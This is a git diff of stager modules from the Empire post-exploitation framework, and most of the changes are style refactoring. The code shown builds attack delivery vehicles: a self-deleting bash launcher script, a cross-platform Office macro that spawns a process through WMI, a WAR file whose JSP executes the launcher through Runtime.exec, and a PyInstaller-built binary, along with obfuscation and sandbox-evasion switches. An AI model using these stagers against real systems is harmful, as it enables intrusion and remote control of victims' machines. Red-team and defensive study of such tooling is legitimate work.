diff --git a/empire/server/common/stagers.py b/empire/server/common/stagers.py index a146cc2c9..fec9eafe3 100755 --- a/empire/server/common/stagers.py +++ b/empire/server/common/stagers.py @@ -505,11 +505,11 @@ def generate_pkg(self, launcher, bundleZip, AppName): return package def generate_jar(self, launcherCode): - file = open(self.mainMenu.installPath+'data/misc/Run.java','r') + file = open(self.mainMenu.installPath+'/data/misc/Run.java', 'r') javacode = file.read() file.close() - javacode = javacode.replace("LAUNCHER",launcherCode) - jarpath = self.mainMenu.installPath+'data/misc/classes/com/installer/apple/' + javacode = javacode.replace("LAUNCHER", launcherCode) + jarpath = self.mainMenu.installPath + '/data/misc/classes/com/installer/apple/' try: os.makedirs(jarpath) except OSError as e: @@ -518,20 +518,17 @@ def generate_jar(self, launcherCode): else: pass - file = open(jarpath+'Run.java','w') + file = open(jarpath+'Run.java', 'w') file.write(javacode) file.close() - currdir = os.getcwd() - os.chdir(self.mainMenu.installPath+'data/misc/classes/') - os.system('javac com/installer/apple/Run.java') - os.system('jar -cfe '+self.mainMenu.installPath+'Run.jar com.installer.apple.Run com/installer/apple/Run.class') - os.chdir(currdir) - os.remove(self.mainMenu.installPath+'data/misc/classes/com/installer/apple/Run.class') - os.remove(self.mainMenu.installPath+'data/misc/classes/com/installer/apple/Run.java') - jarfile = open('Run.jar','rb') + os.system('javac ' + self.mainMenu.installPath + '/data/misc/classes/com/installer/apple/Run.java') + os.system('jar -cfe ' + self.mainMenu.installPath + '/data/misc/Run.jar com.installer.apple.Run ' + self.mainMenu.installPath + '/data/misc/classes/com/installer/apple/Run.class') + os.remove(self.mainMenu.installPath + '/data/misc/classes/com/installer/apple/Run.class') + os.remove(self.mainMenu.installPath + '/data/misc/classes/com/installer/apple/Run.java') + jarfile = open(self.mainMenu.installPath + '/data/misc/Run.jar', 'rb') jar = jarfile.read() jarfile.close() - os.remove('Run.jar') + os.remove(self.mainMenu.installPath + '/data/misc/Run.jar') return jar diff --git a/empire/server/stagers/multi/bash.py b/empire/server/stagers/multi/bash.py index 9e6ebc6c6..bcf1d98b1 100644 --- a/empire/server/stagers/multi/bash.py +++ b/empire/server/stagers/multi/bash.py @@ -12,7 +12,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@harmj0y'], - 'Description': ('Generates self-deleting Bash script to execute the Empire stage0 launcher.'), + 'Description': 'Generates self-deleting Bash script to execute the Empire stage0 launcher.', 'Comments': [ '' @@ -23,32 +23,34 @@ def __init__(self, mainMenu, params=[]): self.options = { # format: # value_name : {description, required, default_value} - 'Listener' : { - 'Description' : 'Listener to generate stager for.', - 'Required' : True, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '' }, - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'python' + 'Language': { + 'Description': 'Language of the stager to generate.', + 'Required': True, + 'Value': 'python', + 'SuggestedValues': ['python'], + 'Strict': True }, - 'OutFile' : { - 'Description' : 'Filename that should be used for the generated output, otherwise returned as a string.', - 'Required' : False, - 'Value' : '' + 'OutFile': { + 'Description': 'Filename that should be used for the generated output, otherwise returned as a string.', + 'Required': False, + 'Value': '' }, - 'SafeChecks' : { - 'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', - 'Required' : True, - 'Value' : 'True', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True + 'SafeChecks': { + 'Description': 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', + 'Required': True, + 'Value': 'True', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, 'Bypasses': { 'Description': 'Bypasses as a space separated list to be prepended to the launcher', @@ -71,14 +73,14 @@ def generate(self): # extract all of our options language = self.options['Language']['Value'] - listenerName = self.options['Listener']['Value'] - userAgent = self.options['UserAgent']['Value'] - safeChecks = self.options['SafeChecks']['Value'] + listener_name = self.options['Listener']['Value'] + user_agent = self.options['UserAgent']['Value'] + safe_checks = self.options['SafeChecks']['Value'] bypasses = self.options['Bypasses']['Value'] # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, - userAgent=userAgent, safeChecks=safeChecks, + launcher = self.mainMenu.stagers.generate_launcher(listener_name, language=language, encode=True, + userAgent=user_agent, safeChecks=safe_checks, bypasses=bypasses) if launcher == "": @@ -87,7 +89,7 @@ def generate(self): else: script = "#!/bin/bash\n" - script += "%s\n" %(launcher) + script += "%s\n" % (launcher) script += "rm -f \"$0\"\n" script += "exit\n" return script diff --git a/empire/server/stagers/multi/launcher.py b/empire/server/stagers/multi/launcher.py index 4b59873a1..b6ec83e72 100644 --- a/empire/server/stagers/multi/launcher.py +++ b/empire/server/stagers/multi/launcher.py @@ -2,6 +2,7 @@ from builtins import object from empire.server.common import helpers + class Stager(object): def __init__(self, mainMenu, params=[]): @@ -11,7 +12,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@harmj0y'], - 'Description': ('Generates a one-liner stage0 launcher for Empire.'), + 'Description': 'Generates a one-liner stage0 launcher for Empire.', 'Comments': [ '' @@ -22,66 +23,68 @@ def __init__(self, mainMenu, params=[]): self.options = { # format: # value_name : {description, required, default_value} - 'Listener' : { - 'Description' : 'Listener to generate stager for.', - 'Required' : True, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '' }, - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'powershell' + 'Language': { + 'Description': 'Language of the stager to generate.', + 'Required': True, + 'Value': 'powershell', + 'SuggestedValues': ['powershell', 'python'], + 'Strict': True }, - 'StagerRetries' : { - 'Description' : 'Times for the stager to retry connecting.', - 'Required' : False, - 'Value' : '0' + 'StagerRetries': { + 'Description': 'Times for the stager to retry connecting.', + 'Required': False, + 'Value': '0' }, 'OutFile': { 'Description': 'Filename that should be used for the generated output.', 'Required': False, 'Value': '' }, - 'Base64' : { - 'Description' : 'Switch. Base64 encode the output.', - 'Required' : True, - 'Value' : 'True', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True + 'Base64': { + 'Description': 'Switch. Base64 encode the output.', + 'Required': True, + 'Value': 'True', + 'SuggestedValues': ['True', 'False'], + 'Strict': True + }, + 'Obfuscate': { + 'Description': 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', + 'Required': False, + 'Value': 'False', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'Obfuscate' : { - 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', - 'Required' : False, - 'Value' : 'False', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True + 'ObfuscateCommand': { + 'Description': 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', + 'Required': False, + 'Value': r'Token\All\1' }, - 'ObfuscateCommand' : { - 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', - 'Required' : False, - 'Value' : r'Token\All\1' + 'SafeChecks': { + 'Description': 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', + 'Required': True, + 'Value': 'True', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'SafeChecks' : { - 'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', - 'Required' : True, - 'Value' : 'True', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True - }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'Proxy' : { - 'Description' : 'Proxy to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'Proxy': { + 'Description': 'Proxy to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'ProxyCreds' : { - 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'ProxyCreds': { + 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, 'Bypasses': { 'Description': 'Bypasses as a space separated list to be prepended to the launcher', @@ -100,33 +103,33 @@ def __init__(self, mainMenu, params=[]): if option in self.options: self.options[option]['Value'] = value - def generate(self): # extract all of our options language = self.options['Language']['Value'] - listenerName = self.options['Listener']['Value'] + listener_name = self.options['Listener']['Value'] base64 = self.options['Base64']['Value'] obfuscate = self.options['Obfuscate']['Value'] - obfuscateCommand = self.options['ObfuscateCommand']['Value'] - userAgent = self.options['UserAgent']['Value'] + obfuscate_command = self.options['ObfuscateCommand']['Value'] + user_agent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] - proxyCreds = self.options['ProxyCreds']['Value'] - stagerRetries = self.options['StagerRetries']['Value'] - safeChecks = self.options['SafeChecks']['Value'] + proxy_creds = self.options['ProxyCreds']['Value'] + stager_retries = self.options['StagerRetries']['Value'] + safe_checks = self.options['SafeChecks']['Value'] encode = False if base64.lower() == "true": encode = True - invokeObfuscation = False + invoke_obfuscation = False if obfuscate.lower() == "true": - invokeObfuscation = True + invoke_obfuscation = True # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=encode, - obfuscate=invokeObfuscation, obfuscationCommand=obfuscateCommand, - userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, - stagerRetries=stagerRetries, safeChecks=safeChecks, + launcher = self.mainMenu.stagers.generate_launcher(listener_name, language=language, encode=encode, + obfuscate=invoke_obfuscation, + obfuscationCommand=obfuscate_command, + userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds, + stagerRetries=stager_retries, safeChecks=safe_checks, bypasses=self.options['Bypasses']['Value']) if launcher == "": diff --git a/empire/server/stagers/multi/macro.py b/empire/server/stagers/multi/macro.py index d0c81ff16..a382ff1a9 100755 --- a/empire/server/stagers/multi/macro.py +++ b/empire/server/stagers/multi/macro.py @@ -5,6 +5,7 @@ from empire.server.common import helpers import re + class Stager(object): def __init__(self, mainMenu, params=[]): @@ -14,7 +15,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@enigma0x3', '@harmj0y', '@DisK0nn3cT', '@malcomvetter'], - 'Description': ('Generates a Win/Mac cross platform MS Office macro for Empire, compatible with Office 97-2016 including Mac 2011 and 2016 (sandboxed).'), + 'Description': 'Generates a Win/Mac cross platform MS Office macro for Empire, compatible with Office 97-2016 including Mac 2011 and 2016 (sandboxed).', 'Comments': [ 'http://enigma0x3.wordpress.com/2014/01/11/using-a-powershell-payload-in-a-client-side-attack/', @@ -26,53 +27,55 @@ def __init__(self, mainMenu, params=[]): self.options = { # format: # value_name : {description, required, default_value} - 'Listener' : { - 'Description' : 'Listener to generate stager for.', - 'Required' : True, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '' }, # Don't think the language matters except the framework requires it: - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'powershell' + 'Language': { + 'Description': 'Language of the stager to generate.', + 'Required': True, + 'Value': 'powershell', + 'SuggestedValues': ['powershell', 'python'], + 'Strict': True }, - 'StagerRetries' : { - 'Description' : 'Times for the stager to retry connecting.', - 'Required' : False, - 'Value' : '0' + 'StagerRetries': { + 'Description': 'Times for the stager to retry connecting.', + 'Required': False, + 'Value': '0' }, 'OutFile': { 'Description': 'Filename that should be used for the generated output.', 'Required': False, 'Value': '' }, - 'SafeChecks' : { - 'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', - 'Required' : True, - 'Value' : 'True', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True + 'SafeChecks': { + 'Description': 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', + 'Required': True, + 'Value': 'True', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'PixelTrackURL' : { - 'Description' : 'URL to add in pixel tracking which OS attempted macro opening, useful for shell debugging and confirmation.', - 'Required' : False, - 'Value' : 'http://127.0.0.1/tracking?source=' + 'PixelTrackURL': { + 'Description': 'URL to add in pixel tracking which OS attempted macro opening, useful for shell debugging and confirmation.', + 'Required': False, + 'Value': 'http://127.0.0.1/tracking?source=' }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'Proxy' : { - 'Description' : 'Proxy to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'Proxy': { + 'Description': 'Proxy to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'ProxyCreds' : { - 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'ProxyCreds': { + 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, 'Obfuscate': { 'Description': 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', @@ -103,7 +106,6 @@ def __init__(self, mainMenu, params=[]): if option in self.options: self.options[option]['Value'] = value - def generate(self): def formStr(varstr, instr): holder = [] @@ -111,31 +113,32 @@ def formStr(varstr, instr): str2 = '' str1 = varstr + ' = "' + instr[:54] + '"' for i in range(54, len(instr), 48): - holder.append('\t\t' + varstr + ' = '+ varstr +' + "'+instr[i:i+48]) + holder.append('\t\t' + varstr + ' = ' + varstr + ' + "' + instr[i:i + 48]) str2 = '"\r\n'.join(holder) str2 = str2 + "\"" - str1 = str1 + "\r\n"+str2 + str1 = str1 + "\r\n" + str2 return str1 # extract all of our options language = self.options['Language']['Value'] - listenerName = self.options['Listener']['Value'] + listener_name = self.options['Listener']['Value'] obfuscate = self.options['Obfuscate']['Value'] - obfuscateCommand = self.options['ObfuscateCommand']['Value'] - userAgent = self.options['UserAgent']['Value'] + obfuscate_command = self.options['ObfuscateCommand']['Value'] + user_agent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] - proxyCreds = self.options['ProxyCreds']['Value'] - stagerRetries = self.options['StagerRetries']['Value'] - safeChecks = self.options['SafeChecks']['Value'] - pixelTrackURL = self.options['PixelTrackURL']['Value'] + proxy_creds = self.options['ProxyCreds']['Value'] + stager_retries = self.options['StagerRetries']['Value'] + safe_checks = self.options['SafeChecks']['Value'] + pixel_track_url = self.options['PixelTrackURL']['Value'] bypasses = self.options['Bypasses']['Value'] - invokeObfuscation = False + invoke_obfuscation = False if obfuscate.lower() == "true": - invokeObfuscation = True + invoke_obfuscation = True # generate the python launcher code - pylauncher = self.mainMenu.stagers.generate_launcher(listenerName, language="python", encode=True, userAgent=userAgent, safeChecks=safeChecks) + pylauncher = self.mainMenu.stagers.generate_launcher(listener_name, language="python", encode=True, + userAgent=user_agent, safeChecks=safe_checks) if pylauncher == "": print(helpers.color("[!] Error in python launcher command generation.")) @@ -147,10 +150,12 @@ def formStr(varstr, instr): pypayload = formStr("str", match) # generate the powershell launcher code - poshlauncher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, - obfuscate=invokeObfuscation, obfuscationCommand=obfuscateCommand, - userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, - stagerRetries=stagerRetries, safeChecks=safeChecks, + poshlauncher = self.mainMenu.stagers.generate_launcher(listener_name, language=language, encode=True, + obfuscate=invoke_obfuscation, + obfuscationCommand=obfuscate_command, + userAgent=user_agent, proxy=proxy, + proxyCreds=proxy_creds, + stagerRetries=stager_retries, safeChecks=safe_checks, bypasses=bypasses) if poshlauncher == "": @@ -220,6 +225,6 @@ def formStr(varstr, instr): Set objProcess = GetObject("winmgmts:\\\\.\\root\cimv2:Win32_Process") objProcess.Create str, Null, objConfig, intProcessID #End If -End Function""" % (pixelTrackURL, pypayload, poshpayload) +End Function""" % (pixel_track_url, pypayload, poshpayload) return macro diff --git a/empire/server/stagers/multi/pyinstaller.py b/empire/server/stagers/multi/pyinstaller.py index e443d1f03..736fdd426 100644 --- a/empire/server/stagers/multi/pyinstaller.py +++ b/empire/server/stagers/multi/pyinstaller.py @@ -22,130 +22,136 @@ """ + class Stager(object): - def __init__(self, mainMenu, params=[]): - - self.info = { - 'Name': 'pyInstaller Launcher', - - 'Author': ['@TweekFawkes'], - - 'Description': ('Generates an ELF binary payload launcher for Empire using pyInstaller.'), - - 'Comments': [ - 'Needs to have pyInstaller setup on the system you are creating the stager on. For debian based operatins systems try the following command: apt-get -y install python-pip && pip install pyinstaller' - ] - } - - # any options needed by the stager, settable during runtime - self.options = { - # format: - # value_name : {description, required, default_value} - 'Listener' : { - 'Description' : 'Listener to generate stager for.', - 'Required' : True, - 'Value' : '' - }, - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'python' - }, - 'BinaryFile' : { - 'Description' : 'File to output launcher to.', - 'Required' : True, - 'Value' : '/tmp/empire' - }, - 'SafeChecks' : { - 'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', - 'Required' : True, - 'Value' : 'True', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True - }, - 'Base64' : { - 'Description' : 'Switch. Base64 encode the output. Defaults to False.', - 'Required' : True, - 'Value' : 'False', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True - }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' - } - } - - # save off a copy of the mainMenu object to access external functionality - # like listeners/agent handlers/etc. - self.mainMenu = mainMenu - - for param in params: - # parameter format is [Name, Value] - option, value = param - if option in self.options: - self.options[option]['Value'] = value - - def generate(self): - - # extract all of our options - language = self.options['Language']['Value'] - listenerName = self.options['Listener']['Value'] - base64 = self.options['Base64']['Value'] - userAgent = self.options['UserAgent']['Value'] - safeChecks = self.options['SafeChecks']['Value'] - BinaryFile_Str = self.options['BinaryFile']['Value'] - - encode = False - if base64.lower() == "true": - encode = True - - import subprocess - output_Str = subprocess.check_output(['which', 'pyinstaller']) - if output_Str == "": - print(helpers.color("[!] Error pyInstaller is not installed")) - print(helpers.color("[!] Try: apt-get -y install python-pip && pip install pyinstaller")) - return "" - else: - # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=encode, userAgent=userAgent, safeChecks=safeChecks) - if launcher == "": - print(helpers.color("[!] Error in launcher command generation.")) - return "" - else: - filesToExtractImportsFrom_List = [] - - stagerFFP_Str = self.mainMenu.installPath + "/data/agent/stagers/http.py" - stagerFFP_Str = os.path.join(self.mainMenu.installPath, "data/agent/stagers/http.py") - - filesToExtractImportsFrom_List.append(stagerFFP_Str) - - agentFFP_Str = self.mainMenu.installPath + "/data/agent/agent.py" - filesToExtractImportsFrom_List.append(agentFFP_Str) - - imports_List = [] - for FullFilePath in filesToExtractImportsFrom_List: - with open(FullFilePath, 'r') as file: - for line in file: - line = line.strip() - if line.startswith('import '): - helpers.color(line) - imports_List.append(line) - elif line.startswith('from '): - helpers.color(line) - imports_List.append(line) - - imports_List.append('import trace') - imports_List.append('import json') - imports_List = list(set(imports_List)) # removing duplicate strings - imports_Str = "\n".join(imports_List) - launcher = imports_Str + "\n" + launcher - - with open(BinaryFile_Str + ".py", "w") as text_file: - text_file.write("%s" % launcher) - - import time - output_Str = subprocess.check_output(['pyinstaller', '-y', '--clean', '--specpath', os.path.dirname(BinaryFile_Str), '--distpath', os.path.dirname(BinaryFile_Str), '--workpath', '/tmp/'+str(time.time())+'-build/', '--onefile', BinaryFile_Str + '.py']) - return launcher + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'pyInstaller Launcher', + + 'Author': ['@TweekFawkes'], + + 'Description': 'Generates an ELF binary payload launcher for Empire using pyInstaller.', + + 'Comments': [ + 'Needs to have pyInstaller setup on the system you are creating the stager on. For debian based operatins systems try the following command: apt-get -y install python-pip && pip install pyinstaller' + ] + } + + # any options needed by the stager, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Listener': { + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '' + }, + 'Language': { + 'Description': 'Language of the stager to generate.', + 'Required': True, + 'Value': 'python', + 'SuggestedValues': ['python'], + 'Strict': True + }, + 'BinaryFile': { + 'Description': 'File to output launcher to.', + 'Required': True, + 'Value': '/tmp/empire' + }, + 'SafeChecks': { + 'Description': 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', + 'Required': True, + 'Value': 'True', + 'SuggestedValues': ['True', 'False'], + 'Strict': True + }, + 'Base64': { + 'Description': 'Switch. Base64 encode the output. Defaults to False.', + 'Required': True, + 'Value': 'False', + 'SuggestedValues': ['True', 'False'], + 'Strict': True + }, + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + def generate(self): + + # extract all of our options + language = self.options['Language']['Value'] + listener_name = self.options['Listener']['Value'] + base64 = self.options['Base64']['Value'] + user_agent = self.options['UserAgent']['Value'] + safe_checks = self.options['SafeChecks']['Value'] + binary_file_str = self.options['BinaryFile']['Value'] + + encode = False + if base64.lower() == "true": + encode = True + + import subprocess + output_str = subprocess.check_output(['which', 'pyinstaller']) + if output_str == "": + print(helpers.color("[!] Error pyInstaller is not installed")) + print(helpers.color("[!] Try: apt-get -y install python-pip && pip install pyinstaller")) + return "" + else: + # generate the launcher code + launcher = self.mainMenu.stagers.generate_launcher(listenerName=listener_name, language=language, + encode=encode, + userAgent=user_agent, safeChecks=safe_checks) + if launcher == "": + print(helpers.color("[!] Error in launcher command generation.")) + return "" + else: + files_to_extract_imports_from_list = [] + + stager_ffp_str = self.mainMenu.installPath + "/data/agent/stagers/http.py" + files_to_extract_imports_from_list.append(stager_ffp_str) + + agent_ffp_str = self.mainMenu.installPath + "/data/agent/agent.py" + files_to_extract_imports_from_list.append(agent_ffp_str) + + imports_list = [] + for FullFilePath in files_to_extract_imports_from_list: + with open(FullFilePath, 'r') as file: + for line in file: + line = line.strip() + if line.startswith('import '): + helpers.color(line) + imports_list.append(line) + elif line.startswith('from '): + helpers.color(line) + imports_list.append(line) + + imports_list.append('import trace') + imports_list.append('import json') + imports_list = list(set(imports_list)) # removing duplicate strings + imports_str = "\n".join(imports_list) + launcher = imports_str + "\n" + launcher + + with open(binary_file_str + ".py", "w") as text_file: + text_file.write("%s" % launcher) + + import time + output_str = subprocess.check_output( + ['pyinstaller', '-y', '--clean', '--specpath', os.path.dirname(binary_file_str), '--distpath', + os.path.dirname(binary_file_str), '--workpath', '/tmp/' + str(time.time()) + '-build/', '--onefile', + binary_file_str + '.py']) + return launcher diff --git a/empire/server/stagers/multi/war.py b/empire/server/stagers/multi/war.py index 6d3df715f..d2af6d349 100644 --- a/empire/server/stagers/multi/war.py +++ b/empire/server/stagers/multi/war.py @@ -1,5 +1,6 @@ from __future__ import print_function from future import standard_library + standard_library.install_aliases() from builtins import str from builtins import object @@ -7,6 +8,7 @@ import zipfile import io + class Stager(object): def __init__(self, mainMenu, params=[]): @@ -16,7 +18,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['Andrew @ch33kyf3ll0w Bonstrom'], - 'Description': ('Generates a Deployable War file.'), + 'Description': 'Generates a Deployable War file.', 'Comments': [ 'You will need to deploy the WAR file to activate. Great for interfaces that accept a WAR file such as Apache Tomcat, JBoss, or Oracle Weblogic Servers.' @@ -27,57 +29,59 @@ def __init__(self, mainMenu, params=[]): self.options = { # format: # value_name : {description, required, default_value} - 'Listener' : { - 'Description' : 'Listener to generate stager for.', - 'Required' : True, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '' }, - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'powershell' + 'Language': { + 'Description': 'Language of the stager to generate.', + 'Required': True, + 'Value': 'powershell', + 'SuggestedValues': ['powershell'], + 'Strict': True }, - 'StagerRetries' : { - 'Description' : 'Times for the stager to retry connecting.', - 'Required' : False, - 'Value' : '0' + 'StagerRetries': { + 'Description': 'Times for the stager to retry connecting.', + 'Required': False, + 'Value': '0' }, - 'AppName' : { - 'Description' : 'Name for the .war/.jsp. Defaults to listener name.', - 'Required' : False, - 'Value' : '' + 'AppName': { + 'Description': 'Name for the .war/.jsp. Defaults to listener name.', + 'Required': False, + 'Value': '' }, - 'OutFile' : { - 'Description' : 'Filename that should be used for the generated output.', - 'Required' : True, - 'Value' : '' + 'OutFile': { + 'Description': 'Filename that should be used for the generated output.', + 'Required': True, + 'Value': '' }, - 'Obfuscate' : { - 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', - 'Required' : False, - 'Value' : 'False', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True + 'Obfuscate': { + 'Description': 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', + 'Required': False, + 'Value': 'False', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'ObfuscateCommand' : { - 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', - 'Required' : False, - 'Value' : r'Token\All\1' + 'ObfuscateCommand': { + 'Description': 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', + 'Required': False, + 'Value': r'Token\All\1' }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'Proxy' : { - 'Description' : 'Proxy to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'Proxy': { + 'Description': 'Proxy to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'ProxyCreds' : { - 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'ProxyCreds': { + 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' } } @@ -91,30 +95,32 @@ def __init__(self, mainMenu, params=[]): if option in self.options: self.options[option]['Value'] = value - def generate(self): # extract all of our options language = self.options['Language']['Value'] - listenerName = self.options['Listener']['Value'] - appName = self.options['AppName']['Value'] - userAgent = self.options['UserAgent']['Value'] + listener_name = self.options['Listener']['Value'] + app_name = self.options['AppName']['Value'] + user_agent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] - proxyCreds = self.options['ProxyCreds']['Value'] - stagerRetries = self.options['StagerRetries']['Value'] + proxy_creds = self.options['ProxyCreds']['Value'] + stager_retries = self.options['StagerRetries']['Value'] obfuscate = self.options['Obfuscate']['Value'] - obfuscateCommand = self.options['ObfuscateCommand']['Value'] + obfuscate_command = self.options['ObfuscateCommand']['Value'] - obfuscateScript = False + obfuscate_script = False if obfuscate.lower() == "true": - obfuscateScript = True + obfuscate_script = True # appName defaults to the listenername - if appName == "": - appName = listenerName + if app_name == "": + app_name = listener_name # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscate, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) + launcher = self.mainMenu.stagers.generate_launcher(listener_name, language=language, encode=True, + obfuscate=obfuscate, obfuscationCommand=obfuscate_command, + userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds, + stagerRetries=stager_retries) if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) @@ -125,14 +131,14 @@ def generate(self): manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_35 (Sun Microsystems Inc.)\r\n\r\n" # Create initial JSP and Web XML Strings with placeholders - jspCode = '''<%@ page import="java.io.*" %> + jsp_code = '''<%@ page import="java.io.*" %> <% -Process p=Runtime.getRuntime().exec("'''+str(launcher)+'''"); +Process p=Runtime.getRuntime().exec("''' + str(launcher) + '''"); %> ''' # .xml deployment config - wxmlCode = ''' + wxml_code = ''' @@ -142,15 +148,15 @@ def generate(self): /%s.jsp -''' %(appName, appName) +''' % (app_name, app_name) # build the in-memory ZIP and write the three files in - warFile = io.BytesIO() - zipData = zipfile.ZipFile(warFile, 'w', zipfile.ZIP_DEFLATED) + war_file = io.BytesIO() + zip_data = zipfile.ZipFile(war_file, 'w', zipfile.ZIP_DEFLATED) - zipData.writestr("META-INF/MANIFEST.MF", manifest) - zipData.writestr("WEB-INF/web.xml", wxmlCode) - zipData.writestr("%s.jsp" % (appName), jspCode) - zipData.close() + zip_data.writestr("META-INF/MANIFEST.MF", manifest) + zip_data.writestr("WEB-INF/web.xml", wxml_code) + zip_data.writestr("%s.jsp" % (app_name), jsp_code) + zip_data.close() - return warFile.getvalue() + return war_file.getvalue() diff --git a/empire/server/stagers/osx/applescript.py b/empire/server/stagers/osx/applescript.py index 236fd5816..d9ccdec65 100644 --- a/empire/server/stagers/osx/applescript.py +++ 